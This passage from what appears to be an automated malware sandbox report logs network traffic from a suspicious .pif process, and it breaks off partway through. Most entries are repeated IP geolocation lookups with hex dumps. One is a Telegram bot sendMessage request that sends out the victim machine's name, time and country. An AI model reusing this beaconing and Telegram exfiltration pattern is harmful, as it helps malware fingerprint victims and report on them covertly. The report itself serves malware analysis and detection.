                                                                                                                                                          2025-01-07 12:25:33 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          14192.168.2.549913188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:33 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:34 UTC855INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:34 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567523
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uGrjJiaQx6PzpBYuzCZCz4VQzybZ0bbzlpmckjlDlhRCED6wMe351M8Cdpjm5S0K3ZyTP93ml1eAesj1DrQceOGyjnW%2FYb%2FufEtuN63CD%2BAj6dxkfllrcLhJRadXSe0oj5kB4Vsr"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee63886878d0-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1990&min_rtt=1980&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1415414&cwnd=144&unsent_bytes=0&cid=2073eb716a09bed9&ts=156&x=0"
                                                                                                                                                          2025-01-07 12:25:34 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          15192.168.2.549914188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:34 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:34 UTC853INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:34 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567523
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3uBOEZ7mG9UVBHN0eNFIiVuYavBtdwnch9ohR7RsiLIAsz4ujtGQK2eYrstIKrJW74BE3P9gNMd5IPGGGCGIy%2FNmZnnqdIzFWzvBp8X04ohnDi7pZ8g7tRzWq8tykb%2BTIsj9QqT"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee63fb9e7274-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1948&rtt_var=744&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1457085&cwnd=182&unsent_bytes=0&cid=310a1c8eae26b217&ts=139&x=0"
                                                                                                                                                          2025-01-07 12:25:34 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          16192.168.2.549920149.154.167.2204436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:34 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2023:15:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                          Host: api.telegram.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:34 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                          Server: nginx/1.18.0
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:34 GMT
                                                                                                                                                          Content-Type: application/json
                                                                                                                                                          Content-Length: 55
                                                                                                                                                          Connection: close
                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                          2025-01-07 12:25:34 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                          Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          17192.168.2.549926188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:35 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:35 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:35 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567524
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GP8r3G7rWo9Ymyp3eXpvB2RQM9uUuZwGFpsQqWcydZ6ikzRziSgeqNuzoB%2BKhS8dvCab0%2B4%2BTeUyrnlgsiL9vLd4uvFb3wkkF00CFr%2BgXnvU5XJAGjHHlCuepZpx3ziuDfm3%2FRN2"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee6b5fb941c1-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1753&min_rtt=1751&rtt_var=661&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1650650&cwnd=205&unsent_bytes=0&cid=aa333d79fe738115&ts=149&x=0"
                                                                                                                                                          2025-01-07 12:25:35 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          18192.168.2.549927188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:35 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:35 UTC852INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:35 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567524
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cjjmVQj%2FIjIENPclkqSzcXMIi0RjeIj3FDuCdQhzADv%2BjNuKg4HRXAIbVR6ImoWhBdPzC9DeqcyxkJ869DFqJwK3FcdWeZDVxH5IrSZfP19GonLEEuU8cRJnTklLT4gFj2sttUel"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee6cff614374-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1541&rtt_var=600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1792510&cwnd=32&unsent_bytes=0&cid=1eba308d1aeb53fc&ts=130&x=0"
                                                                                                                                                          2025-01-07 12:25:35 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          19192.168.2.549939188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:36 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:36 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:36 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567525
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHFzokkTpJlCH4q8rw8MV%2BE0dDHhrNtQWOZOJTPFT5BpUnG70v1nnzcv8vJH%2BN37NgIFKuwpjLdNJfYbk%2BrSQhceED1kQUq9OQXW0KHxG0ULCewpKkxO%2BZSWeDQ6c%2FnGTZe5KVrf"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee743f25421b-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1605&rtt_var=1257&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=690633&cwnd=187&unsent_bytes=0&cid=8296b8fb6cb058ef&ts=141&x=0"
                                                                                                                                                          2025-01-07 12:25:36 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          20192.168.2.549941188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:36 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:37 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:37 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567526
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yp3BvsxFBBF73%2FiY8IBceYAK5d9NRDGJ6YmcEqkY22ahBU7M%2BrTZ3leZ%2BzrJ2Qod4GWWe%2Bje3E2WPkvwVmygBP7PpTbZ3lVyD6TtvkykUKfV%2F3ZmtlFLNWcDmLnPnl1QtLkp9HAO"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee7678c40f69-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1487&rtt_var=595&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1784841&cwnd=250&unsent_bytes=0&cid=b4477194c330b14f&ts=250&x=0"
                                                                                                                                                          2025-01-07 12:25:37 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          21192.168.2.549953188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:38 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:38 UTC855INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:38 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567527
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vQj0U%2Fdi0CNfUEbSxQSCiHfyujrezVgv1OLVYovU5nMs0OGB5O48FeppZO8BfTTmT8mXupHufhYCnCYtKe97o34%2FfFDZCnWQl4S0xJ9sNG3yd6ttXmY%2BbVzmXa8VOsN018EvSglr"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee7e8a560cb8-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1635&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1761158&cwnd=179&unsent_bytes=0&cid=06913211a29c6504&ts=165&x=0"
                                                                                                                                                          2025-01-07 12:25:38 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          22192.168.2.549954188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:38 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:38 UTC856INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:38 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567527
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gQgby8AoD8mkmYHH%2BqEMSc3IJMXWi2lrceGVpC3O0ORnGdv2nJJTmKMW94oQI2si2akLQSHXoCss52i1NkBec%2BMDfemmctldM92nqINsoBfyEAryJ76fL486GaCuyq1aDk0sM08L"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee7fc9717d0c-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=35906&min_rtt=2103&rtt_var=20938&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1388492&cwnd=156&unsent_bytes=0&cid=29e080b78e50b2d8&ts=165&x=0"
